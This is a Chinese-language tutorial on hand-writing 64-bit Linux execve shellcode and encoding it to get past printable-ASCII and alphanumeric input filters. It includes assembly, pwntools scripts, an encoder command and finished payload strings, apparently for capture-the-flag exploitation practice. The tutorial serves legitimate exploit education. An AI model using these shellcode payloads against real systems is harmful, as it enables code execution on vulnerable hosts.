shellcode

前言

目前网上主要是各种32位的shellcode编写教程,64位的比较少,这篇文章主要讲解一下64位shellcode的编写以及介绍几种比较常见的白名单绕过方法

64位shellcode编写

直接pwntools生成默认shellcode

这一种方法是最简单的,通过下面的代码即可生成一段64位shellcode代码:

1
2
3
from pwn import *
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())

但这段代码有一个缺点,就是生成的shellcode比较长,在某些空间比较小的情况不能很好的使用,接下来我们就一步一步的学习手动编写shellcode吧。

手动编写shellcode

在手动编写shellcode之前,我们首先要知道shellcode这一段代码调动shell的原理。

linux中,存在着一系列的系统调用,这些系统调用都通过syscall指令来触发,并且通过rax寄存器作为系统调用号来区分不同的系统调用,可以通过查看linux源码目录下的arch/x86/entry/syscall_64.tbl获得对应的系统调用号。比如,execve对应的的系统调用号为59。

接着,即是通过rdi和rsi两个寄存器传入参数。其中,rdi是指向运行程序的路径的指针,rsi为一个指向0的指针,rdx为0。

总结下,我们应该完成如下操作:

1
2
3
4
5
rax = 59
rdi = ['/bin/sh']
rsi = [0]
rdx = 0
syscall

所以就可以编写我们就可以开始正式编写了:

1
2
3
4
5
6
7
8
xor rdx,rdx
push rdx
mov rsi,rsp
mov rax,0x68732f2f6e69622f
push rax
mov rdi,rsp
mov rax,59
syscall

(这里因为64位数据不能直接push,所以用了rax寄存器来传递)

编写完后,我们可以用pwntools模块来快速编译使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.arch = 'amd64'
shellcode = '''
xor rdx,rdx;
push rdx;
mov rsi,rsp;
mov rax,0x68732f2f6e69622f;
push rax;
mov rdi,rsp;
mov rax,59;
syscall;
'''
shellcode = asm(shellcode)

这样生成的shellcode就只有30字节,一般这种大小就足够了。

白名单绕过

可打印ascii

这一种的限制一般是要求shellcode为可打印字符,包括字母、数字、符号。

针对这一种白名单,已经有了一个不错的工具:shellcode_encoder

使用这一工具首先需要安装z3-solver:

1
$ pip install z3-solver

开始生成可打印shellcode前,我们需要先将原来的shellcode输出到一个文件中,这里我们用python来执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.arch = 'amd64'
shellcode = '''
xor rdx,rdx;
push rdx;
mov rsi,rsp;
mov rax,0x68732f2f6e69622f;
push rax;
mov rdi,rsp;
mov rax,59;
syscall;
'''
shellcode = asm(shellcode)
f = open('shellcode','wb+')
f.write(shellcode)
f.close()

然后,将生成的shellcode文件放到shellcode_encoder目录下,运行:

1
$ python main.py shellcode rax+29

其中,shellcode是我们生成的shellcode文件,然后因为漏洞程序是通过call rax调用shellcode的,以及shellcode_encoder生成shellcode时的偏移位置,所以这里用了rax+29。

然后就会自动生成可打印的shellcode了:

1
2
3
4
5
6
Original length: 30
Encoded length: 476
Preamble length: 29
Total length: 505

PPTAYAXVI31VXXXf-C_f-@hf-`8PZTAYAXVI31VXPP[_Hc4:14:SX- (mz-i Wx5?<??P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-IL+N-@x6x5?41}P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-Txl(-H0| 5V__>P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-Gz#'-~ @5?_?_P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-e3'R-T)@~5O ^?P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-&Pu8-( @@57O?oP^14:WX-|w_?-@U@C-@3`}P_SX-:AXH-#?Hx5;~_?P_Hc4:14:SX- $80- , 5?M7?P^14:WX-|w_?-@U@C-@3`}P_SX-@dG1- dyo5<6?_P^SX-zphB-``(~5>/o?P_AAAAo{5mTM=K8_?* *v k1jXk_DC(%r:ou}}n;oopM]alYoM0"+/O%Y2P9@"USR2|O?+

可以看到shellcode的总长是505,这样的长度对于某些特定的题目来说是不行的,所以下面介绍另一种shellcode。

纯数字字母shellcode

文章:https://hama.hatenadiary.jp/entry/2017/04/04/190129

这里就不具体分析了,直接给出最终的shellcode,感兴趣的可以自行阅读学习

1
PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA